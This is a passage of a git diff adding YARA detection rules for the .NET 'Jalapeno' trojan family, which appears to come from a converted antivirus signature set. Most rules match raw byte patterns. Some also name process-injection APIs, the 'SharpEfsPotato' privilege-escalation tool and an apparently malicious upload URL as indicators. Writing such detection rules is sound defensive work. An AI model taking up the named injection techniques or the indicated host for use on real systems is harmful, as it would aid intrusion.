"Trojan:BAT/Jalapeno.BG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {61 6e 20 ff 00 00 00 6a 5f b7 95 03 50 7b 6c 00 00 04 1e 64 61 7d 6c 00 00 04 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_BH_MTB.yar b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_BH_MTB.yar new file mode 100644 index 0000000000..07e84c985d --- /dev/null +++ b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_BH_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Jalapeno_BH_MTB{ + meta: + description = "Trojan:BAT/Jalapeno.BH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {01 0a 38 09 00 00 00 03 06 16 07 6f 59 00 00 0a 02 06 16 06 8e 69 6f } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_BJ_MTB.yar b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_BJ_MTB.yar new file mode 100644 index 0000000000..194b3512ed --- /dev/null +++ b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_BJ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Jalapeno_BJ_MTB{ + meta: + description = "Trojan:BAT/Jalapeno.BJ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {11 06 1d 11 06 1d 95 11 02 1d 95 61 9e 38 b7 00 00 00 11 06 1f 0d 11 06 1f 0d 95 11 02 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_BL_MTB.yar b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_BL_MTB.yar new file mode 100644 index 0000000000..0bfa296c11 --- /dev/null +++ b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_BL_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Jalapeno_BL_MTB{ + meta: + description = "Trojan:BAT/Jalapeno.BL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {0a 02 72 d5 27 00 70 6f e9 00 00 0a 2c 3e 06 02 6f ea 00 00 0a 0b 07 16 73 eb 00 00 0a 0c 73 ec 00 00 0a } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_BM_MTB.yar b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_BM_MTB.yar new file mode 100644 index 0000000000..6087bdd869 --- /dev/null +++ b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_BM_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Jalapeno_BM_MTB{ + meta: + description = "Trojan:BAT/Jalapeno.BM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {7e 39 01 00 04 20 ed e1 77 9c 20 a3 d1 43 a7 61 20 02 00 00 00 63 20 7f 4e ff 1e 61 7d 43 01 00 04 20 00 00 00 00 28 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_BO_MTB.yar b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_BO_MTB.yar new file mode 100644 index 0000000000..70cbf16e32 --- /dev/null +++ b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_BO_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Jalapeno_BO_MTB{ + meta: + description = "Trojan:BAT/Jalapeno.BO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {fe 0c 14 00 fe 0c 11 00 3b 30 00 00 00 fe 0c 0b 00 fe 0c 14 00 46 fe 0c 03 00 61 52 fe 0c 14 00 20 01 00 00 00 58 fe 0e 14 00 fe 0c 0b 00 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_BP_MTB.yar b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_BP_MTB.yar new file mode 100644 index 0000000000..6eea956352 --- /dev/null +++ b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_BP_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Jalapeno_BP_MTB{ + meta: + description = "Trojan:BAT/Jalapeno.BP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {61 58 20 12 d8 36 57 11 0b 20 1f 00 00 00 5f 62 13 0b 0a 11 0b 20 84 14 01 5f 5a 13 0b 11 06 20 a6 63 ad e9 11 0b 61 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_BQ_MTB.yar b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_BQ_MTB.yar new file mode 100644 index 0000000000..0a5261e0d3 --- /dev/null +++ b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_BQ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Jalapeno_BQ_MTB{ + meta: + description = "Trojan:BAT/Jalapeno.BQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {fe 0c 07 00 20 71 c8 34 2c 5a 20 37 d3 b1 53 61 2b 22 fe 0c 07 00 20 cd 4a e5 67 5a 20 3a 15 76 73 61 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_BR_MTB.yar b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_BR_MTB.yar new file mode 100644 index 0000000000..66b35101ad --- /dev/null +++ b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_BR_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Jalapeno_BR_MTB{ + meta: + description = "Trojan:BAT/Jalapeno.BR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {61 7d f4 02 00 04 20 22 00 00 00 38 ae fd ff ff 7e ed 02 00 04 20 5d 2e 59 4f 20 ec f0 a8 3c 61 20 d1 6b 59 d4 59 20 e0 72 98 9f 61 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_BS_MTB.yar b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_BS_MTB.yar new file mode 100644 index 0000000000..f16cef04d8 --- /dev/null +++ b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_BS_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Jalapeno_BS_MTB{ + meta: + description = "Trojan:BAT/Jalapeno.BS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {01 13 05 1f fe 66 13 06 2b 8d 09 1f f8 65 19 63 33 5b 20 3e 93 c3 0d 20 3c 93 c3 0d 61 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_DB_MTB.yar b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_DB_MTB.yar new file mode 100644 index 0000000000..2098e9ecb3 --- /dev/null +++ b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_DB_MTB.yar @@ -0,0 +1,17 @@ + +rule Trojan_BAT_Jalapeno_DB_MTB{ + meta: + description = "Trojan:BAT/Jalapeno.DB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,6a 00 6a 00 07 00 00 " + + strings : + $a_81_0 = {4f 6b 71 69 63 7a 79 69 63 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 } //100 Okqiczyic.Properties.Resources + $a_81_1 = {53 68 72 62 6c 63 } //1 Shrblc + $a_81_2 = {41 79 76 69 67 76 65 72 } //1 Ayvigver + $a_81_3 = {4f 61 6c 67 6c 78 75 76 78 6b 74 } //1 Oalglxuvxkt + $a_81_4 = {42 74 66 7a 64 77 75 71 77 } //1 Btfzdwuqw + $a_81_5 = {77 33 77 70 2e 65 78 65 } //1 w3wp.exe + $a_81_6 = {61 73 70 6e 65 74 5f 77 70 2e 65 78 65 } //1 aspnet_wp.exe + condition: + ((#a_81_0 & 1)*100+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1) >=106 + +} \ No newline at end of file diff --git a/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_JK_MTB.yar b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_JK_MTB.yar new file mode 100644 index 0000000000..2b56cef3f1 --- /dev/null +++ b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_JK_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Jalapeno_JK_MTB{ + meta: + description = "Trojan:BAT/Jalapeno.JK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 01 00 00 " + + strings : + $a_01_0 = {06 02 28 0b 00 00 06 28 06 00 00 06 28 1f 00 00 0a 06 28 20 00 00 0a 26 28 1c 00 00 0a 72 29 00 00 70 28 1d 00 00 0a 0b 07 02 28 0c 00 00 06 28 06 00 00 06 28 1f 00 00 0a 07 28 20 00 00 0a 26 02 28 21 00 00 0a 2a } //3 + condition: + ((#a_01_0 & 1)*3) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_MBV_MTB.yar b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_MBV_MTB.yar new file mode 100644 index 0000000000..e3f552224a --- /dev/null +++ b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_MBV_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Jalapeno_MBV_MTB{ + meta: + description = "Trojan:BAT/Jalapeno.MBV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {11 2b 16 95 11 2a 20 32 09 00 00 95 58 e0 91 11 2a 20 29 0f 00 00 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_MBZ_MTB.yar b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_MBZ_MTB.yar new file mode 100644 index 0000000000..2be4467206 --- /dev/null +++ b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_MBZ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Jalapeno_MBZ_MTB{ + meta: + description = "Trojan:BAT/Jalapeno.MBZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {11 07 8e 69 5d 91 61 d2 81 ?? ?? 00 01 11 08 17 58 13 08 11 08 11 06 8e 69 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_MCF_MTB.yar b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_MCF_MTB.yar new file mode 100644 index 0000000000..d952895cf1 --- /dev/null +++ b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_MCF_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_BAT_Jalapeno_MCF_MTB{ + meta: + description = "Trojan:BAT/Jalapeno.MCF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 05 00 00 " + + strings : + $a_01_0 = {11 09 11 0a 11 07 11 0a 91 11 08 61 d2 9c 11 0a 17 58 13 0a 11 0a 11 07 8e 69 fe 04 13 13 11 13 2d de } //10 + $a_01_1 = {52 75 6e 74 69 6d 65 42 72 6f 6b 65 72 } //1 RuntimeBroker + $a_01_2 = {56 69 72 74 75 61 6c 41 6c 6c 6f 63 45 78 } //1 VirtualAllocEx + $a_01_3 = {57 72 69 74 65 50 72 6f 63 65 73 73 4d 65 6d 6f 72 79 } //1 WriteProcessMemory + $a_01_4 = {43 72 65 61 74 65 52 65 6d 6f 74 65 54 68 72 65 61 64 } //1 CreateRemoteThread + condition: + ((#a_01_0 & 1)*10+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=14 + +} \ No newline at end of file diff --git a/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_MKG_MTB.yar b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_MKG_MTB.yar new file mode 100644 index 0000000000..e1e6369738 --- /dev/null +++ b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_MKG_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Jalapeno_MKG_MTB{ + meta: + description = "Trojan:BAT/Jalapeno.MKG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 02 00 00 " + + strings : + $a_03_0 = {11 00 8e 69 1a 3f b9 00 00 00 20 05 00 00 00 38 ba ff ff ff 72 4c 03 00 70 28 ?? 00 00 0a 13 09 20 08 00 00 00 38 a4 ff ff ff 28 ?? 00 00 0a 13 0b 20 02 00 00 00 38 93 ff ff ff 72 a6 03 00 70 28 ?? 00 00 0a 13 0e 20 01 00 00 00 7e 94 01 00 04 7b ae 01 00 04 3a 73 ff ff ff } //5 + $a_03_1 = {11 05 11 0b 6f ?? 00 00 0a 17 73 23 00 00 0a 13 0c 20 00 00 00 00 7e 94 01 00 04 7b 6d 01 00 04 39 0f 00 00 00 26 20 00 00 00 00 38 04 00 00 00 fe 0c 0d 00 } //4 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*4) >=9 + +} \ No newline at end of file diff --git a/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_MOH_MTB.yar b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_MOH_MTB.yar new file mode 100644 index 0000000000..25ece900e1 --- /dev/null +++ b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_MOH_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Jalapeno_MOH_MTB{ + meta: + description = "Trojan:BAT/Jalapeno.MOH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {04 1b 5d 2c 0d 09 1f 12 93 20 00 73 00 00 59 0c 2b cf 1b 2b fa 03 2b 07 03 20 c8 00 00 00 61 b4 0a 06 2a } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_NIT_MTB.yar b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_NIT_MTB.yar index 368c2719c4..0a9f917cb4 100644 --- a/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_NIT_MTB.yar +++ b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_NIT_MTB.yar @@ -22,4 +22,38 @@ rule Trojan_BAT_Jalapeno_NIT_MTB_2{ condition: ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=4 +} +rule Trojan_BAT_Jalapeno_NIT_MTB_3{ + meta: + description = "Trojan:BAT/Jalapeno.NIT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_03_0 = {02 08 17 28 ?? 00 00 0a 28 ?? 00 00 0a 03 08 03 6f 07 00 00 0a 5d 17 d6 17 28 ?? 00 00 0a 28 ?? 00 00 0a da 13 04 06 11 04 28 ?? 00 00 0a 28 ?? 00 00 0a 28 ?? 00 00 0a 0a 08 17 d6 0c 00 08 09 fe 02 16 fe 01 13 05 11 05 2d b5 } //2 + $a_03_1 = {a2 00 11 0a 28 ?? 00 00 0a 07 28 ?? 00 00 06 28 ?? 00 00 0a 13 09 11 09 28 ?? 00 00 0a 0a 06 28 ?? 00 00 0a 13 08 11 08 6f ?? 00 00 0a 14 14 6f ?? 00 00 0a 26 } //1 + condition: + ((#a_03_0 & 1)*2+(#a_03_1 & 1)*1) >=3 + +} +rule Trojan_BAT_Jalapeno_NIT_MTB_4{ + meta: + description = "Trojan:BAT/Jalapeno.NIT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 00 " + + strings : + $a_03_0 = {00 28 df 03 00 0a 00 28 ?? 03 00 06 80 4f 00 00 0a 28 ?? 05 00 06 6f 00 06 00 06 80 1a 03 00 0a 28 ?? 05 00 06 6f 02 06 00 06 72 77 03 00 70 28 ?? 00 00 0a 16 fe 01 0b 07 2d 1b 00 28 ?? 05 00 06 6f 02 06 00 06 72 17 22 00 70 28 ?? 01 00 0a 80 10 02 00 0a 00 16 28 ?? 03 00 0a 00 73 df 00 00 06 0a 06 6f e2 00 00 0a 17 fe 01 16 fe 01 0b 07 2d 0b 73 89 02 00 06 28 ?? 03 00 0a 00 2a } //2 + $a_01_1 = {44 65 63 72 79 70 74 53 74 72 69 6e 67 } //1 DecryptString + $a_01_2 = {44 65 63 72 79 70 74 44 45 53 } //1 DecryptDES + condition: + ((#a_03_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=4 + +} +rule Trojan_BAT_Jalapeno_NIT_MTB_5{ + meta: + description = "Trojan:BAT/Jalapeno.NIT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {12 00 12 01 28 02 00 00 06 07 28 01 00 00 0a 0c 7e 05 00 00 04 0d 08 7e 06 00 00 04 6f 02 00 00 0a 13 04 11 04 14 28 03 00 00 0a 39 01 00 00 00 2a 11 04 09 6f 04 00 00 0a 13 05 11 05 14 28 05 00 00 0a 39 01 00 00 00 2a 11 05 14 18 8d 04 00 00 01 13 06 11 06 16 28 06 00 00 0a a2 11 06 17 06 28 04 00 00 06 a2 11 06 6f 07 00 00 0a 26 2a } //2 + $a_01_1 = {1e 8d 0a 00 00 01 0c 07 28 0a 00 00 0a 03 6f 0b 00 00 0a 6f 0c 00 00 0a 0d 09 16 08 16 1e 28 0d 00 00 0a 06 08 6f 0e 00 00 0a 06 18 6f 0f 00 00 0a 06 18 6f 10 00 00 0a 06 6f 11 00 00 0a 13 04 02 28 12 00 00 0a 13 05 11 04 11 05 16 11 05 8e 69 6f 13 00 00 0a 13 06 28 0a 00 00 0a 11 06 6f 14 00 00 0a 13 07 dd 0d 00 00 00 } //1 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + } \ No newline at end of file diff --git a/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_NJ_MTB.yar b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_NJ_MTB.yar index 3d11d3e0ba..2bfe4246e5 100644 --- a/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_NJ_MTB.yar +++ b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_NJ_MTB.yar @@ -11,6 +11,17 @@ rule Trojan_BAT_Jalapeno_NJ_MTB{ } rule Trojan_BAT_Jalapeno_NJ_MTB_2{ + meta: + description = "Trojan:BAT/Jalapeno.NJ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_01_0 = {08 94 13 09 11 04 11 09 19 5a 11 09 18 63 59 6a 58 13 04 11 04 11 04 1b 62 11 04 19 63 60 61 13 04 11 08 17 58 13 08 } //3 + $a_01_1 = {4d 61 72 69 75 73 7a 20 4b 6f 6d 6f 72 6f 77 73 6b 69 } //1 Mariusz Komorowski + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*1) >=4 + +} +rule Trojan_BAT_Jalapeno_NJ_MTB_3{ meta: description = "Trojan:BAT/Jalapeno.NJ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " @@ -21,7 +32,7 @@ rule Trojan_BAT_Jalapeno_NJ_MTB_2{ ((#a_01_0 & 1)*3+(#a_01_1 & 1)*2) >=5 } -rule Trojan_BAT_Jalapeno_NJ_MTB_3{ +rule Trojan_BAT_Jalapeno_NJ_MTB_4{ meta: description = "Trojan:BAT/Jalapeno.NJ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 04 00 00 " @@ -34,7 +45,7 @@ rule Trojan_BAT_Jalapeno_NJ_MTB_3{ ((#a_01_0 & 1)*3+(#a_01_1 & 1)*2+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=7 } -rule Trojan_BAT_Jalapeno_NJ_MTB_4{ +rule Trojan_BAT_Jalapeno_NJ_MTB_5{ meta: description = "Trojan:BAT/Jalapeno.NJ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " @@ -45,7 +56,7 @@ rule Trojan_BAT_Jalapeno_NJ_MTB_4{ ((#a_01_0 & 1)*3+(#a_01_1 & 1)*2) >=5 } -rule Trojan_BAT_Jalapeno_NJ_MTB_5{ +rule Trojan_BAT_Jalapeno_NJ_MTB_6{ meta: description = "Trojan:BAT/Jalapeno.NJ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 00 " diff --git a/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_PGJ_MTB.yar b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_PGJ_MTB.yar new file mode 100644 index 0000000000..38d3a32f96 --- /dev/null +++ b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_PGJ_MTB.yar @@ -0,0 +1,33 @@ + +rule Trojan_BAT_Jalapeno_PGJ_MTB{ + meta: + description = "Trojan:BAT/Jalapeno.PGJ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {02 02 7b 05 00 00 04 08 9a 7d 06 00 00 04 02 03 28 ?? 00 00 06 0d 02 7b 09 00 00 04 09 72 01 00 00 70 6f ?? 00 00 0a 0b 07 72 01 00 00 70 28 ?? 00 00 0a 2c 07 07 28 ?? 00 00 2b 2a 08 17 58 0c 08 02 7b 05 00 00 04 8e 69 32 b5 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} +rule Trojan_BAT_Jalapeno_PGJ_MTB_2{ + meta: + description = "Trojan:BAT/Jalapeno.PGJ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {12 00 12 01 28 ?? 00 00 06 02 06 07 28 ?? 00 00 06 51 28 ?? 00 00 06 0c 03 08 28 ?? 00 00 06 51 2a } //4 + $a_80_1 = {6a 59 44 34 71 54 37 39 69 6a 57 62 63 50 6f 6b 78 6c 58 37 6b 69 48 64 7a 72 2b 6d 71 54 64 50 74 41 4f 52 6b 51 65 30 34 4d 52 6c 76 4d 46 52 30 59 55 67 49 37 51 44 6b 5a 45 48 74 4f 44 45 } //jYD4qT79ijWbcPokxlX7kiHdzr+mqTdPtAORkQe04MRlvMFR0YUgI7QDkZEHtODE 1 + condition: + ((#a_03_0 & 1)*4+(#a_80_1 & 1)*1) >=5 + +} +rule Trojan_BAT_Jalapeno_PGJ_MTB_3{ + meta: + description = "Trojan:BAT/Jalapeno.PGJ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_01_0 = {68 00 69 00 72 00 6f 00 73 00 61 00 76 00 76 00 61 00 2d 00 63 00 6e 00 2e 00 63 00 6f 00 6d 00 2f 00 70 00 61 00 6e 00 65 00 6c 00 2f 00 75 00 70 00 6c 00 6f 00 61 00 64 00 73 00 2f } //1 + $a_01_1 = {63 6d 56 6d 5a 58 4a 79 5a 58 49 39 5a 6e 4a 6c 5a 53 31 6b 62 33 64 75 62 47 39 68 5a 43 5a 6e 59 57 52 66 63 32 39 31 63 6d 4e 6c 50 54 45 6d 5a 32 4e 73 61 57 51 39 52 55 46 4a 59 55 6c 52 62 32 4a 44 61 45 31 4a 4e 33 46 36 56 47 38 35 58 30 31 70 64 30 31 57 55 46 56 4d 58 30 46 53 4d 57 64 79 51 57 4e 54 52 55 46 42 57 55 46 54 51 55 46 46 5a 30 78 48 54 47 5a 45 58 30 4a 33 52 51 3d 3d } //4 cmVmZXJyZXI9ZnJlZS1kb3dubG9hZCZnYWRfc291cmNlPTEmZ2NsaWQ9RUFJYUlRb2JDaE1JN3F6VG85X01pd01WUFVMX0FSMWdyQWNTRUFBWUFTQUFFZ0xHTGZEX0J3RQ== + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*4) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_SP_MTB.yar b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_SP_MTB.yar new file mode 100644 index 0000000000..01bd9a5ba3 --- /dev/null +++ b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_SP_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Jalapeno_SP_MTB{ + meta: + description = "Trojan:BAT/Jalapeno.SP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {08 09 06 09 91 07 09 07 8e 69 5d 91 61 d2 9c 09 17 58 0d 09 06 8e 69 } //2 + $a_81_1 = {53 68 61 72 70 45 66 73 50 6f 74 61 74 6f 2e 65 78 65 } //1 SharpEfsPotato.exe + condition: + ((#a_01_0 & 1)*2+(#a_81_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_ZAS_MTB.yar b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_ZAS_MTB.yar new file mode 100644 index 0000000000..67de727084 --- /dev/null +++ b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_ZAS_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Jalapeno_ZAS_MTB{ + meta: + description = "Trojan:BAT/Jalapeno.ZAS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {11 02 11 03 11 00 11 03 91 11 04 11 03 11 04 6f ?? 00 00 0a 5d 6f ?? 00 00 0a 61 d2 9c 20 08 00 00 00 38 ?? ff ff ff 11 03 11 00 8e 69 3c ?? ff ff ff 20 07 00 00 00 38 ?? ff ff ff 11 00 8e 69 8d ?? 00 00 01 13 02 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_ZRV_MTB.yar b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_ZRV_MTB.yar new file mode 100644 index 0000000000..c6ea9bc915 --- /dev/null +++ b/Trojan/BAT/Jalapeno/Trojan_BAT_Jalapeno_ZRV_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_Jalapeno_ZRV_MTB{ + meta: + description = "Trojan:BAT/Jalapeno.ZRV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 00 " + + strings : + $a_03_0 = {1a 2c 5a 72 f9 00 00 70 38 8a 00 00 00 0d 73 ?? 00 00 0a 13 04 11 04 08 6f ?? 00 00 0a 11 04 09 6f ?? 00 00 0a 11 04 6f ?? 00 00 0a 13 05 72 13 01 00 70 13 06 11 05 06 16 06 8e 69 6f ?? 00 00 0a 13 07 11 06 03 11 07 28 ?? 00 00 06 de 0c } //10 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*10+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=12 + +} \ No newline at end of file diff --git a/Trojan/BAT/Johnnie/Trojan_BAT_Johnnie_AJO_MTB.yar b/Trojan/BAT/Johnnie/Trojan_BAT_Johnnie_AJO_MTB.yar new file mode 100644 index 0000000000..733b0cd928 --- /dev/null +++ b/Trojan/BAT/Johnnie/Trojan_BAT_Johnnie_AJO_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Johnnie_AJO_MTB{ + meta: + description = "Trojan:BAT/Johnnie.AJO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {17 da 0c 0b 2b 30 03 07 91 20 ff 00 00 00 fe 01 16 fe 01 13 05 11 05 2c 12 03 0d 09 07 13 04 11 04 09 11 04 91 17 d6 b4 9c 2b 05 00 03 07 16 9c 00 00 07 17 d6 0b 07 08 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No 